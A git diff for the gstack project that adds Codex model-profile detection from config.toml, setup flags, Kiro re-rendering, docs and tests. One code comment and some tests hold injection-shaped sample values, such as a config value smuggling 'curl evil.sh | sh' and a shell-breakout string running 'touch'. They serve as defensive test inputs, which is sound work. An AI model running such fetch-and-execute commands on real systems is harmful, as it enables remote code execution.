diff --git a/CLAUDE.md b/CLAUDE.md index cd76565aa..21d5f3e3f 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -190,6 +190,11 @@ SKILL.md files are **generated** from `.tmpl` templates. To update docs: 2. Run `bun run gen:skill-docs` (or `bun run build` which does it automatically) 3. Commit both the `.tmpl` and generated `.md` files +Generation uses each host's `defaultModel` (`claude` for existing hosts, `gpt` +for Codex) unless `--model` is explicit. Codex installs additionally read the +top-level model from `${CODEX_HOME:-~/.codex}/config.toml`; rerun +`./setup --host codex` after changing that model. + To add a new browse command: add it to `browse/src/commands.ts` and rebuild. To add a snapshot flag: add it to `SNAPSHOT_FLAGS` in `browse/src/snapshot.ts` and rebuild. diff --git a/README.md b/README.md index f1534590f..ef595e36d 100644 --- a/README.md +++ b/README.md @@ -122,6 +122,13 @@ Or target a specific agent with `./setup --host `: | Hermes | `--host hermes` | `~/.hermes/skills/gstack-*/` | | GBrain (mod) | `--host gbrain` | `~/.gbrain/skills/gstack-*/` | +For Codex, setup reads the top-level `model` from +`${CODEX_HOME:-~/.codex}/config.toml` and generates the matching behavioral +profile. `gpt-5.6-sol` automatically receives bounded-scope instructions that +finish the requested lake without expanding into adjacent cleanup or speculative +hardening. Override detection with `./setup --host codex --model `. After +changing your Codex model, rerun `./setup --host codex` to regenerate the skills. + **Want to add support for another agent?** See [docs/ADDING_A_HOST.md](docs/ADDING_A_HOST.md). It's one TypeScript config file, zero code changes. diff --git a/scripts/resolve-codex-generation-model.ts b/scripts/resolve-codex-generation-model.ts new file mode 100644 index 000000000..01727368b --- /dev/null +++ b/scripts/resolve-codex-generation-model.ts @@ -0,0 +1,130 @@ +#!/usr/bin/env bun + +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { ALL_MODEL_NAMES, resolveModel, type Model } from './models'; + +export interface CodexGenerationModelResolution { + model: Model; + source: string; + warnings: string[]; +} + +const CODEX_DEFAULT_MODEL: Model = 'gpt'; +const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_MODEL})`; + +/** + * Strip control characters from strings that originate in the user's + * config.toml or environment before they reach warning/stdout text. A hostile + * config value like `model = "x\nERROR: run curl evil | sh"` must not be able + * to inject fake lines into setup's terminal output or desync the TSV stdout + * contract. Warning interpolations additionally cap length for display. + */ +function stripControl(value: string): string { + // eslint-disable-next-line no-control-regex + return value.replace(/[\x00-\x1f\x7f]/g, ' '); +} + +function sanitize(value: string): string { + return stripControl(value).slice(0, 200); +} + +export function resolveCodexGenerationModel(opts: { + explicit?: string; + codexHome?: string; + home?: string; +} = {}): CodexGenerationModelResolution { + if (opts.explicit !== undefined) { + const model = resolveModel(opts.explicit); + if (!model) { + throw new Error( + `Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`, + ); + } + return { model, source: '--model', warnings: [] }; + } + + // os.homedir() falls back to USERPROFILE on Windows and never returns '' — + // a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex', + // letting a repo-committed .codex/config.toml (CWD-resolved) select the + // behavioral profile. + const home = opts.home ?? process.env.HOME ?? os.homedir(); + const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex'); + const configPath = path.join(codexHome, 'config.toml'); + const warnings: string[] = []; + + const fallback = (warning?: string): CodexGenerationModelResolution => { + if (warning) warnings.push(warning); + return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings }; + }; + + if (!path.isAbsolute(codexHome)) { + return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_MODEL}.`); + } + + let raw: string; + try { + raw = fs.readFileSync(configPath, 'utf8'); + } catch (error) { + const code = (error as NodeJS.ErrnoException).code; + if (code !== 'ENOENT') { + return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`); + } + return fallback(); + } + + let parsed: Record; + try { + parsed = Bun.TOML.parse(raw) as Record; + } catch { + return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`); + } + + if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) { + return fallback(); + } + if (typeof parsed.model !== 'string') { + return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_MODEL}.`); + } + + const model = resolveModel(parsed.model); + if (!model) { + return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_MODEL}.`); + } + + // Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit + // its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently + // family-mapping to generic gpt is unobservable — surface it. + if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') { + warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`); + } + + return { model, source: configPath, warnings }; +} + +function readArg(name: string): string | undefined { + const exact = process.argv.indexOf(name); + if (exact >= 0) return process.argv[exact + 1]; + const prefix = `${name}=`; + const joined = process.argv.find(arg => arg.startsWith(prefix)); + return joined?.slice(prefix.length); +} + +if (import.meta.main) { + try { + const result = resolveCodexGenerationModel({ + explicit: readArg('--explicit'), + codexHome: readArg('--codex-home'), + }); + for (const warning of result.warnings) { + process.stderr.write(`warning: ${warning}\n`); + } + // model is always an ALL_MODEL_NAMES literal; source is control-stripped + // so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract. + process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`); + } catch (error) { + process.stderr.write(`${(error as Error).message}\n`); + process.exit(1); + } +} diff --git a/setup b/setup index a17e5c22c..61fd0e58f 100755 --- a/setup +++ b/setup @@ -12,6 +12,7 @@ Usage: ./setup [options] Options: --host Install for a specific host (claude, codex, kiro, factory, opencode, openclaw, hermes, gbrain, auto). Default: claude. + --model Codex model profile override. Otherwise reads Codex config. --prefix Install skills with the gstack- prefix (e.g. /gstack-review). --no-prefix Install skills with short names (e.g. /review). Default. --team Switch to team mode (per-repo gstack with auto-update). @@ -22,6 +23,7 @@ Options: Examples: ./setup # solo install for Claude Code ./setup --host codex # install for OpenAI Codex CLI + ./setup --host codex --model gpt-5.6-sol ./setup --team # team mode for a shared repo ./setup --no-prefix # use short slash-command names @@ -52,7 +54,7 @@ INSTALL_GSTACK_DIR="$(cd "$(dirname "$0")" && pwd)" SOURCE_GSTACK_DIR="$(cd "$(dirname "$0")" && pwd -P)" INSTALL_SKILLS_DIR="$(dirname "$INSTALL_GSTACK_DIR")" BROWSE_BIN="$SOURCE_GSTACK_DIR/browse/dist/browse" -CODEX_SKILLS="$HOME/.codex/skills" +CODEX_SKILLS="${CODEX_HOME:-$HOME/.codex}/skills" CODEX_GSTACK="$CODEX_SKILLS/gstack" FACTORY_SKILLS="$HOME/.factory/skills" FACTORY_GSTACK="$FACTORY_SKILLS/gstack" @@ -171,10 +173,14 @@ SKILL_PREFIX_FLAG=0 TEAM_MODE=0 NO_TEAM_MODE=0 PLAN_TUNE_HOOKS_MODE="" # "" = resolve from env/config/prompt; "yes"/"no" = explicit +MODEL_OVERRIDE="" +MODEL_OVERRIDE_SET=0 while [ $# -gt 0 ]; do case "$1" in --host) [ -z "$2" ] && echo "Missing value for --host (expected claude, codex, kiro, factory, opencode, cursor, slate, openclaw, hermes, gbrain, or auto)" >&2 && exit 1; HOST="$2"; shift 2 ;; --host=*) HOST="${1#--host=}"; shift ;; + --model) [ -z "$2" ] && echo "Missing value for --model" >&2 && exit 1; MODEL_OVERRIDE="$2"; MODEL_OVERRIDE_SET=1; shift 2 ;; + --model=*) MODEL_OVERRIDE="${1#--model=}"; MODEL_OVERRIDE_SET=1; shift ;; --local) LOCAL_INSTALL=1; shift ;; --prefix) SKILL_PREFIX=1; SKILL_PREFIX_FLAG=1; shift ;; --no-prefix) SKILL_PREFIX=0; SKILL_PREFIX_FLAG=1; shift ;; @@ -317,6 +323,11 @@ elif [ "$HOST" = "cursor" ]; then INSTALL_CURSOR=1 fi +if [ "$MODEL_OVERRIDE_SET" -eq 1 ] && [ "$INSTALL_CODEX" -eq 0 ]; then + echo "Error: --model is supported only when Codex is selected (--host codex or --host auto with Codex installed)." >&2 + exit 1 +fi + migrate_direct_codex_install() { local gstack_dir="$1" local codex_gstack="$2" @@ -534,6 +545,31 @@ cleanup_copied_bun() { prepare_bun_for_windows_compile trap cleanup_copied_bun EXIT +# Resolve the model overlay used for generated Codex skills. Setup auto-detects +# only Codex because it has one canonical TOML config surface; direct generator +# calls remain deterministic and use the host default unless --model is explicit. +# The resolver runs on EVERY setup, not just codex installs: step 1b regenerates +# .agents/ unconditionally, and existing ~/.codex/skills symlinks point into it — +# a plain `./setup` on a Sol user's machine must not clobber their profile with +# the hardcoded fallback. The resolver is a read-only TOML lookup that falls +# back to gpt when no Codex config exists. +CODEX_GENERATION_MODEL="gpt" +CODEX_GENERATION_MODEL_SOURCE="default (gpt)" +_CODEX_MODEL_ARGS=(run scripts/resolve-codex-generation-model.ts) +if [ "$MODEL_OVERRIDE_SET" -eq 1 ]; then + _CODEX_MODEL_ARGS+=(--explicit "$MODEL_OVERRIDE") +fi +_CODEX_MODEL_OUTPUT="$(cd "$SOURCE_GSTACK_DIR" && bun_cmd "${_CODEX_MODEL_ARGS[@]}")" +IFS=$'\t' read -r CODEX_GENERATION_MODEL CODEX_GENERATION_MODEL_SOURCE <<< "$_CODEX_MODEL_OUTPUT" +if [ -z "$CODEX_GENERATION_MODEL" ]; then + echo "gstack setup failed: Codex model resolver returned no model" >&2 + exit 1 +fi +if [ "$INSTALL_CODEX" -eq 1 ] || [ "$CODEX_GENERATION_MODEL" != "gpt" ]; then + log "Codex skill profile: $CODEX_GENERATION_MODEL" + log "Source: $CODEX_GENERATION_MODEL_SOURCE" +fi + # 1. Build browse binary if needed (smart rebuild: stale sources, package.json, lock) NEEDS_BUILD=0 if [ ! -x "$BROWSE_BIN" ]; then @@ -632,18 +668,19 @@ fi # 1b. Generate .agents/ Codex skill docs — always regenerate to prevent stale descriptions. # .agents/ is no longer committed — generated at setup time from .tmpl templates. -# bun run build already does this, but we need it when NEEDS_BUILD=0 (binary is fresh). +# bun run build generates the host-default artifact. Always render Codex again +# with the resolved user profile so a build cannot overwrite a Sol-specific render. # Always regenerate: generation is fast (<2s) and mtime-based staleness checks are fragile # (miss stale files when timestamps match after clone/checkout/upgrade). AGENTS_DIR="$SOURCE_GSTACK_DIR/.agents/skills" NEEDS_AGENTS_GEN=1 -if [ "$NEEDS_AGENTS_GEN" -eq 1 ] && [ "$NEEDS_BUILD" -eq 0 ]; then +if [ "$NEEDS_AGENTS_GEN" -eq 1 ]; then log "Generating .agents/ skill docs..." ( cd "$SOURCE_GSTACK_DIR" bun_cmd install --frozen-lockfile 2>/dev/null || bun_cmd install - bun_cmd run gen:skill-docs --host codex + bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL" ) fi @@ -1038,11 +1075,11 @@ link_codex_skill_dirs() { if [ ! -d "$agents_dir" ]; then echo " Generating .agents/ skill docs..." - ( cd "$gstack_dir" && bun_cmd run gen:skill-docs --host codex ) + ( cd "$gstack_dir" && bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL" ) fi if [ ! -d "$agents_dir" ]; then - echo " warning: .agents/skills/ generation failed — run 'bun run gen:skill-docs --host codex' manually" >&2 + echo " warning: .agents/skills/ generation failed — run 'bun run gen:skill-docs --host codex --model $CODEX_GENERATION_MODEL' manually" >&2 return 1 fi @@ -1686,6 +1723,12 @@ if [ "$INSTALL_CODEX" -eq 1 ]; then log "gstack ready (codex)." log " browse: $BROWSE_BIN" log " codex skills: $CODEX_SKILLS" + log " model profile: $CODEX_GENERATION_MODEL ($CODEX_GENERATION_MODEL_SOURCE)" + log " model changes: rerun ./setup --host codex" + if [ "$MODEL_OVERRIDE_SET" -eq 1 ]; then + log " note: --model applies to this run only. To persist across upgrades," + log " set model = \"$MODEL_OVERRIDE\" in \${CODEX_HOME:-~/.codex}/config.toml." + fi fi # 6. Install for Kiro CLI (copy from .agents/skills, rewrite paths) @@ -1694,6 +1737,15 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then AGENTS_DIR="$SOURCE_GSTACK_DIR/.agents/skills" mkdir -p "$KIRO_SKILLS" + # Kiro builds from the codex-shaped render but fronts Claude-family models + # (hosts/kiro.ts defaultModel: 'claude'). Re-render with the claude overlay + # before copying so Kiro skills never ship the GPT/Sol behavioral patch; + # the resolved Codex profile is restored right after the copy loop. + if [ "$CODEX_GENERATION_MODEL" != "claude" ]; then + log "Rendering claude-profile skills for Kiro..." + ( cd "$SOURCE_GSTACK_DIR" && bun_cmd run gen:skill-docs --host codex --model claude ) + fi + # Create gstack dir with symlinks for runtime assets, copy+sed for SKILL.md KIRO_GSTACK="$KIRO_SKILLS/gstack" # Remove old whole-dir symlink from previous installs @@ -1712,9 +1764,15 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then mkdir -p "$KIRO_GSTACK/supabase" _link_or_copy "$SOURCE_GSTACK_DIR/supabase/config.sh" "$KIRO_GSTACK/supabase/config.sh" fi - # gstack-upgrade skill + # gstack-upgrade skill — sed COPY, never a symlink: a symlink would track + # .agents after the Codex-profile restore below (wrong overlay AND a baked + # './setup --host codex' that reinstalls the wrong host on /gstack-upgrade). if [ -f "$AGENTS_DIR/gstack-upgrade/SKILL.md" ]; then - _link_or_copy "$AGENTS_DIR/gstack-upgrade/SKILL.md" "$KIRO_GSTACK/gstack-upgrade/SKILL.md" + sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \ + -e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \ + -e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \ + -e 's|\./setup --host codex|./setup --host kiro|g' \ + "$AGENTS_DIR/gstack-upgrade/SKILL.md" > "$KIRO_GSTACK/gstack-upgrade/SKILL.md" fi # Review runtime assets (individual files, not whole dir) for f in checklist.md design-checklist.md greptile-triage.md TODOS-format.md; do @@ -1738,10 +1796,12 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then target_dir="$KIRO_SKILLS/$skill_name" mkdir -p "$target_dir" # Generated Codex skills use $HOME/.codex (not ~/), plus $GSTACK_ROOT variables. - # Rewrite the default GSTACK_ROOT value and any remaining literal paths. + # Rewrite the default GSTACK_ROOT value, any remaining literal paths, and + # the SETUP_COMMAND host (the artifact was rendered for codex). sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \ -e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \ -e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \ + -e 's|\./setup --host codex|./setup --host kiro|g' \ "$skill_dir/SKILL.md" > "$target_dir/SKILL.md" # Carved skills (v2 plan T9): rewrite + copy each sections/*.md the same way, # so a runtime "Read sections/.md" resolves under ~/.kiro and doesn't @@ -1754,6 +1814,7 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then sed -e 's|\$HOME/.codex/skills/gstack|$HOME/.kiro/skills/gstack|g' \ -e "s|~/.codex/skills/gstack|~/.kiro/skills/gstack|g" \ -e "s|~/.claude/skills/gstack|~/.kiro/skills/gstack|g" \ + -e 's|\./setup --host codex|./setup --host kiro|g' \ "$section_file" > "$target_dir/sections/$(basename "$section_file")" done fi @@ -1762,6 +1823,12 @@ if [ "$INSTALL_KIRO" -eq 1 ]; then echo " browse: $BROWSE_BIN" echo " kiro skills: $KIRO_SKILLS" fi + + # Restore the resolved Codex profile — ~/.codex/skills symlinks point into + # .agents/skills, so the tree must not stay on the Kiro claude render. + if [ "$CODEX_GENERATION_MODEL" != "claude" ]; then + ( cd "$SOURCE_GSTACK_DIR" && bun_cmd run gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL" ) + fi fi # 6b. Install for Factory Droid diff --git a/test/codex-generation-model.test.ts b/test/codex-generation-model.test.ts new file mode 100644 index 000000000..9f04df296 --- /dev/null +++ b/test/codex-generation-model.test.ts @@ -0,0 +1,132 @@ +import { afterEach, describe, expect, test } from 'bun:test'; +import * as fs from 'fs'; +import * as os from 'os'; +import * as path from 'path'; +import { spawnSync } from 'child_process'; +import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model'; + +const ROOT = path.resolve(import.meta.dir, '..'); +const temps: string[] = []; + +function codexHome(config?: string): string { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-')); + temps.push(dir); + if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config); + return dir; +} + +afterEach(() => { + for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true }); +}); + +describe('Codex generation model resolution', () => { + test('explicit override wins over config', () => { + const result = resolveCodexGenerationModel({ + explicit: 'gpt-5.6-sol', + codexHome: codexHome('model = "gpt-5.4"\n'), + }); + expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] }); + }); + + test('reads only the top-level TOML model', () => { + const home = codexHome(` +# active model +model = "gpt-5.6-sol" +[profiles.terra] +model = "gpt-5.6-terra" +`); + const result = resolveCodexGenerationModel({ codexHome: home }); + expect(result.model).toBe('gpt-5.6-sol'); + expect(result.source).toBe(path.join(home, 'config.toml')); + }); + + test('ignores profile-only model values', () => { + const result = resolveCodexGenerationModel({ + codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'), + }); + expect(result.model).toBe('gpt'); + expect(result.source).toBe('default (gpt)'); + }); + + test('missing, malformed, non-string, and unsupported configs fall back safely', () => { + expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt'); + + const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') }); + expect(malformed.model).toBe('gpt'); + expect(malformed.warnings[0]).toContain('Could not parse'); + + const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') }); + expect(nonString.model).toBe('gpt'); + expect(nonString.warnings[0]).toContain('not a string'); + + const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') }); + expect(unsupported.model).toBe('gpt'); + expect(unsupported.warnings[0]).toContain('Unsupported'); + }); + + test('unreadable config warns and falls back', () => { + const home = codexHome(); + fs.mkdirSync(path.join(home, 'config.toml')); + const result = resolveCodexGenerationModel({ codexHome: home }); + expect(result.model).toBe('gpt'); + expect(result.source).toBe('default (gpt)'); + expect(result.warnings[0]).toContain('Could not read'); + }); + + test('injection-shaped model data is data, never shell', () => { + const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`); + try { fs.rmSync(marker, { force: true }); } catch {} + const result = resolveCodexGenerationModel({ + codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`), + }); + expect(result.model).toBe('gpt'); + expect(fs.existsSync(marker)).toBe(false); + }); + + test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => { + const result = resolveCodexGenerationModel({ codexHome: '.codex' }); + expect(result.model).toBe('gpt'); + expect(result.source).toBe('default (gpt)'); + expect(result.warnings[0]).toContain('not an absolute path'); + }); + + test('Sol-suffixed near-misses map to gpt WITH a warning', () => { + const result = resolveCodexGenerationModel({ + codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'), + }); + expect(result.model).toBe('gpt'); + expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'"); + }); + + test('warnings never carry control characters from config values', () => { + // A TOML basic string parses \n and \t escapes — a hostile config value + // must not inject fake lines into setup's terminal stderr. + const result = resolveCodexGenerationModel({ + codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'), + }); + expect(result.model).toBe('gpt'); + expect(result.warnings.length).toBe(1); + expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/); + expect(result.warnings[0]).toContain('Unsupported top-level model'); + }); + + test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => { + const home = codexHome('model = "gpt-5.6-sol"\n'); + const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], { + cwd: ROOT, + encoding: 'utf8', + env: { ...process.env, CODEX_HOME: home }, + }); + expect(ok.status).toBe(0); + expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`); + + const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], { + cwd: ROOT, + encoding: 'utf8', + }); + expect(bad.status).not.toBe(0); + expect(bad.stderr).toContain('Unknown model'); + expect(bad.stderr).toContain('Accepted models:'); + expect(bad.stderr).toContain('gpt-5.6-sol'); + }); +}); diff --git a/test/setup-codex-model.test.ts b/test/setup-codex-model.test.ts new file mode 100644 index 000000000..a0415db70 --- /dev/null +++ b/test/setup-codex-model.test.ts @@ -0,0 +1,135 @@ +import { describe, expect, test } from 'bun:test'; +import * as fs from 'fs'; +import * as path from 'path'; + +const ROOT = path.resolve(import.meta.dir, '..'); +const setup = fs.readFileSync(path.join(ROOT, 'setup'), 'utf8'); + +describe('setup Codex model activation', () => { + test('exposes --model and limits it to Codex installs', () => { + expect(setup).toContain('--model '); + expect(setup).toContain('MODEL_OVERRIDE_SET=1'); + expect(setup).toContain('--model is supported only when Codex is selected'); + // The override reaches the resolver as QUOTED argv — an unquoted + // regression would word-split/glob user input. + expect(setup).toContain('--explicit "$MODEL_OVERRIDE"'); + }); + + test('resolver runs on every setup, before any INSTALL_CODEX gate', () => { + // A plain `./setup` (claude host) still regenerates .agents/, and live + // ~/.codex/skills symlinks point into it — resolution must not be gated + // on the codex host being selected, or a Sol user's profile gets + // clobbered back to the hardcoded fallback. + const blockStart = setup.indexOf('# Resolve the model overlay'); + const blockEnd = setup.indexOf('# 1. Build browse binary', blockStart); + expect(blockStart).toBeGreaterThan(-1); + const block = setup.slice(blockStart, blockEnd); + const resolverAt = block.indexOf('_CODEX_MODEL_OUTPUT='); + const firstGateAt = block.indexOf('INSTALL_CODEX'); + expect(resolverAt).toBeGreaterThan(-1); + expect(firstGateAt === -1 || resolverAt < firstGateAt).toBe(true); + }); + + test('resolves the profile once, fails closed, and passes it as quoted argv', () => { + expect(setup).toContain('scripts/resolve-codex-generation-model.ts'); + expect(setup).toContain('Codex skill profile: $CODEX_GENERATION_MODEL'); + expect(setup).toContain('Source: $CODEX_GENERATION_MODEL_SOURCE'); + expect(setup).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"'); + // Positive pin of the parse mechanism (an eval-shaped regression would + // remove this line rather than merely rephrase an eval call). + expect(setup).toContain(`IFS=$'\\t' read -r CODEX_GENERATION_MODEL CODEX_GENERATION_MODEL_SOURCE`); + // Fail-closed: empty resolver output aborts setup, including the exit. + const guardAt = setup.indexOf('gstack setup failed: Codex model resolver returned no model'); + expect(guardAt).toBeGreaterThan(-1); + expect(setup.slice(guardAt, guardAt + 200)).toContain('exit 1'); + }); + + test('regenerates Codex after both fresh and stale build paths', () => { + const generationStart = setup.indexOf('# 1b. Generate .agents/ Codex skill docs'); + const generationEnd = setup.indexOf('# 1c. Generate .factory/', generationStart); + const block = setup.slice(generationStart, generationEnd); + expect(block).toContain('if [ "$NEEDS_AGENTS_GEN" -eq 1 ]; then'); + expect(block).not.toContain('NEEDS_BUILD" -eq 0'); + }); + + test('fallback generation and handoff preserve the selected profile', () => { + const linkStart = setup.indexOf('link_codex_skill_dirs()'); + const linkEnd = setup.indexOf('create_agents_sidecar()', linkStart); + const block = setup.slice(linkStart, linkEnd); + expect(block).toContain('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"'); + expect(block).toContain('gen:skill-docs --host codex --model $CODEX_GENERATION_MODEL'); + expect(setup).toContain('model changes: rerun ./setup --host codex'); + expect(setup).toContain('model profile: $CODEX_GENERATION_MODEL'); + }); + + test('Kiro copies a claude-profile render, then restores the Codex profile', () => { + // Kiro fronts Claude-family models (hosts/kiro.ts defaultModel: 'claude') + // but builds from the codex-shaped .agents render — the copy must happen + // against a claude-overlay render, and the resolved Codex profile must be + // restored afterward so ~/.codex/skills symlinks stay correct. + const kiroStart = setup.indexOf('# 6. Install for Kiro CLI'); + const kiroEnd = setup.indexOf('# 6b.', kiroStart); + expect(kiroStart).toBeGreaterThan(-1); + const block = setup.slice(kiroStart, kiroEnd); + const claudeRenderAt = block.indexOf('gen:skill-docs --host codex --model claude'); + const restoreAt = block.indexOf('gen:skill-docs --host codex --model "$CODEX_GENERATION_MODEL"'); + expect(claudeRenderAt).toBeGreaterThan(-1); + expect(restoreAt).toBeGreaterThan(claudeRenderAt); + }); + + test('Kiro rewrites the codex-rendered SETUP_COMMAND and never symlinks gstack-upgrade', () => { + // The artifact Kiro copies was rendered for the codex host, so its + // gstack-upgrade skill bakes in './setup --host codex'. Every copy path + // must rewrite it to '--host kiro', and the KIRO_GSTACK gstack-upgrade + // file must be a sed COPY (a symlink would track .agents after the + // Codex-profile restore — wrong overlay AND wrong reinstall host). + const kiroStart = setup.indexOf('# 6. Install for Kiro CLI'); + const kiroEnd = setup.indexOf('# 6b.', kiroStart); + const block = setup.slice(kiroStart, kiroEnd); + const rewrites = block.split('\\./setup --host codex|./setup --host kiro').length - 1; + expect(rewrites).toBeGreaterThanOrEqual(3); + expect(block).not.toContain('_link_or_copy "$AGENTS_DIR/gstack-upgrade/SKILL.md"'); + }); + + test('Codex skills path honors CODEX_HOME', () => { + expect(setup).toContain('CODEX_SKILLS="${CODEX_HOME:-$HOME/.codex}/skills"'); + }); + + test('--model prints the one-shot persistence note', () => { + expect(setup).toContain('--model applies to this run only'); + }); +}); + +describe('Codex E2E hermetic model pin', () => { + const runner = fs.readFileSync(path.join(ROOT, 'test', 'helpers', 'codex-session-runner.ts'), 'utf8'); + + test('copies authentication only and can ignore operator config', () => { + expect(runner).toContain("for (const entry of ['auth.json'])"); + expect(runner).toContain("if (ignoreUserConfig) args.push('--ignore-user-config')"); + expect(runner).toContain('CODEX_HOME: tempCodexDir'); + expect(runner).not.toContain("if (entry === 'skills') continue"); + }); +}); + +describe('Sol E2E tree hygiene', () => { + const solTest = fs.readFileSync(path.join(ROOT, 'test', 'codex-e2e-sol-scope.test.ts'), 'utf8'); + + test('snapshots and restores the exact prior .agents tree around the Sol render', () => { + // The Sol render must not persist in the shared .agents tree (host-config + // golden, parallel shard worktree copies, live symlinked installs) — and + // the restore must be the operator's EXACT prior render, not a forced + // default profile. + const backupAt = solTest.indexOf('gstack-agents-backup-'); + const solRenderAt = solTest.indexOf("'--model', 'gpt-5.6-sol'"); + const restoreAt = solTest.indexOf('fs.cpSync(priorAgentsBackup, agentsDir'); + expect(backupAt).toBeGreaterThan(-1); + expect(solRenderAt).toBeGreaterThan(backupAt); + expect(restoreAt).toBeGreaterThan(solRenderAt); + // Scope-widening detection must see untracked + staged files, not just + // unstaged tracked modifications. + expect(solTest).toContain("['status', '--porcelain']"); + expect(solTest).not.toContain("['diff', '--name-only']"); + // The fixture seed commit must survive global commit.gpgsign=true. + expect(solTest).toContain("['config', 'commit.gpgsign', 'false']"); + }); +});